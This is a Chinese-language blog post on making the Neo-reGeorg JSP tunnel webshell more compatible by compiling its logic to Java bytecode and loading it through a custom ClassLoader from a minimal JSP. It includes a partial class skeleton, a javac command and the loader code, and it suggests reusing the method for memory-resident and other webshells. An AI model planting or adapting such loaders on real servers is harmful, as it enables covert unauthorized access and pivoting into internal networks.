0x01 背景
一大早就看到L-codes
师傅发消息说,Neo-reGeorg jsp服务端又出现问题了,印象里已经不是一两次了。大部分都是兼容性问题,这次也不例外。
是时候设计一个一劳永逸的方案了。
0x02 分析原因
我们知道jsp从被访问到运行,经历如下阶段。
本案例中发现tomcat work目录下已经存在了tunnel_jsp.java
,但是没有tunnel_jsp.class
,说明阶段1已经过。结合页面报错信息,在2阶段时Tomcat内置的编译器JDTCompiler,编译报错了。
检查tunnel_jsp.java
代码并没有语法错误,尝试使用javac编译,编译成功!看来JDTCompiler与javac实现逻辑并不同,而且没有javac强大。
编译成功之后我再访问tunnel.jsp页面不再报错了。可见提高一个.jsp
的兼容,无非就是让它在各个中间件下成功变成一个.class
。而这个过程与具体中间件的jsp转换器
的解析机制,java编译器
的编译机制和servlet-api
的版本息息相关。
那么我们是不是可以把Neo-reGeorg的服务端代码提取变成class字节码,然后jsp来加载和调用,来提高这个过程的成功率呢?。总之核心思想就是把尽可能多的业务逻辑变成最终可运行的java字节码,同时尽可能的减少jsp代码,少用api少用语法糖少用特性。
0x03 编码实现
我们先来移植服务端模版代码为java代码。直接新建一个NeoreGeorg.java
,将jsp中的方法直接copy,主体代码的移植需要注意2个问题。
第一、参数提炼问题。我们需要把模版变化的地方,提取出来作为参数,比如X-CMD
这样的指令,POST request read filed
这样的提示,Neo-reGorg需要通过随机替换它们实现流量加密。
第二、参数传递问题。参数可以通过构造方法或者自定义方法传递进来,但是这样要多写些反射代码。本着jsp代码越少越好原则,使用每个类都有的equal(java.lang.Object)
方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| public class NeoreGeorg { private char[] en; private byte[] de; private int HTTPCODE; private int READBUF; private int MAXREADSIZE;
@Override public boolean equals(Object obj) { Object[] args = (Object[]) obj; HttpServletRequest request = (HttpServletRequest) args[0]; HttpServletResponse response = (HttpServletResponse) args[1]; en = (char[])args[2]; de = (byte[])args[3]; HTTPCODE = (Integer) args[4]; READBUF = (Integer) args[5]; MAXREADSIZE = (Integer) args[6];
ServletContext application = request.getSession().getServletContext(); Writer out = response.getWriter(); ...... } .... .... }
|
为了兼容更多的jdk版本我们这里选择使用1.5编译,同时为了class体积更小,可以使用-g:none
去掉调试信息。
1
| javac -cp tomcat-servlet-api.jar -g:none -source 1.5 -target 1.5 NeoreGeorg.java
|
jsp部分很简单,定义一个classloader用于加载class,然后将该class newInstance进行调用。有二个点可以简单讲讲。
第一,class字节码的存储方式问题。本着少用api的原则,我直接用byte数组存储。当然如果字节码太多,可能会有The code of method _jspService(...) is exceeding the 65535 bytes limit
报错问题,推荐用hex编码解决。
第二,全局存储class对象问题。推荐使用application
对象,而不是session
对象进行存储,否则遇到负载的情况就麻烦了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| <%@ page import="sun.misc.BASE64Decoder" %> <%! class U extends ClassLoader { U(ClassLoader c) { super(c); }
public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } %>
<% Object[] args = new Object[]{ request, response, "BASE64 CHARSLIST".toCharArray(), new byte[]{BASE64 ARRAYLIST}, new Integer(HTTPCODE), new Integer(READBUF), new Integer(MAXREADSIZE), "X-STATUS", "X-ERROR", "X-CMD", "X-TARGET", "X-REDIRECTURL", "FAIL", "Georg says, 'All seems fine'", "Failed creating socket", "Failed connecting to target", "OK", "Failed writing socket", "CONNECT", "DISCONNECT", "READ", "FORWARD", "Failed reading from socket", "No more running, close now", "POST request read filed", "Intranet forwarding failed" };
if(application.getAttribute("u") != null){ application.getAttribute("u").equals(args); }else{ byte[] classBytes = new byte[]{.....} Class clazz = new U(this.getClass().getClassLoader()).g(classBytes); application.setAttribute("u",clazz.newInstance()); } %>
|
经过测试在各个中间件下稳定运行,顺手给L-codes师傅一个pr。
0x04 总结
其实这个方法可以使用很多jsp脚本的改造,比如内存马注入jsp,jsp大马,蚁剑一句话木马等等。大家可以照猫画虎,自行修改。
文章来源: https://gv7.me/articles/2021/improve-neo-regeorg-compatibility-by-loading-classes/
如有侵权请联系:admin#unsafe.sh